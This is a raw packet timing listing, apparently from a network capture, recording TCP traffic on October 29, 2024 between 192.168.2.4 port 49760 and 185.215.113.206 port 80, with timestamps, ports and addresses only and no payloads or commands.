Oct 29, 2024 04:52:30.225408077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.225486994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257400036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257433891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257477999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257477999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257514000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257549047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257572889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257597923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257625103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257673979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257702112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257750988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257772923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257806063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257827044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257863998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257893085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.257957935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.257992983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258044958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258064032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258097887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258126974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258147001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258172035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258205891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258228064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258246899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258297920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258332014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258351088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258375883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258402109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258430004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258466959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258466959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258502007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258536100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258554935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258589983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258610010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258642912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258666039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258694887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258737087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258770943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258790016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258817911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258841991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258876085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258897066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258919954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.258949041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.258982897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259004116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259030104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259094954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259126902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259146929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259166956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259196043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259229898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259249926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259284019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259300947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259351969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259372950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259434938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259478092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259510994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259531021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259555101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259582043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259615898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259635925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259655952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259686947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259716034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259746075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259766102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259898901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259931087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.259968996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.259968996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260001898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260035992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260055065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260088921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260107040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260139942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260159969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260185003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260210037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260243893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260263920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260287046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260317087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260349989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260370970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260390997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260612965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260646105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260665894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260684967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260716915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260750055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260768890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260792017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260821104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260860920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260874987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260900974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260926008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260958910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.260977983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.260999918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261029005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261060953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261080980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261104107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261132002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261184931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261295080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261327982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261349916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261370897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261399984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261435032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261454105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261477947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261593103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261626005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261645079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261665106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261694908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261727095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261745930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261765957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261795044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261827946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261847973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261869907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261900902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261929035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.261950970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.261970997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.342026949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.342066050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.342101097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.342123985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.342147112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.342200041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.374687910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.374737978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.374762058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.374805927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.374819994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.374847889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.374906063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.374938965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.374960899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375000954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375015020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375047922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375083923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375123978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375155926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375202894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375230074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375262022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375282049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375298977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375349045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375381947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375402927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375435114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375454903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375492096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375514030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375540972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375598907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375627041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375648022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375668049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375722885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375751972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375773907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375792980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375823975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375857115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375876904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375900030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.375927925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375960112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.375979900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376007080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376032114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376066923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376085997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376116991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376307011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376339912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376358986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376379013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376409054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376444101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376463890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376492023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376517057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376549959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376571894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376600027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376624107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376657009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376677036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376693964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376724005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376771927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376890898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376924992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.376954079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.376974106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377001047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377043009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377057076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377082109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377109051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377150059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377162933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377187967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377213955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377249956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377271891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377290010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377322912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377372026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377465010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377497911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377520084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377536058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377567053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377608061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377621889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377646923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377674103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377721071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377784967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377818108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377839088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377865076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377892017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377933979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.377948046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377974033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.377999067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378040075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378053904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378079891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378104925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378145933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378163099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378190041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378213882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378248930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378267050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378289938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378319025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378350973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378372908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378400087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378760099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378793955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378813982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378839016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378865957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378909111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.378922939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378950119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.378973007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379014969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379029036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379055977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379079103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379120111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379133940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379157066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379184961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379219055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379240990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379266024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379291058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379337072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379360914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379393101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379411936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379434109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379529953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379615068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.379635096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.379657030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.459115982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.459180117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.459209919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.459244967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.459266901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.459300995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.491640091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491703987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.491730928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491779089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.491801977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491836071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491857052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.491899014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.491925955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491961002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.491981983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.492006063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.492033005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.492077112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.492099047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.492127895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.492149115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.492167950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.492213964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.492265940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.592789888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.598160982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.875745058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.875782967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.875840902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.875871897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.875899076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.875962019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876003027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876056910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876100063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876173973 CET	80	49760	185.215.113.206	192.168.2.4
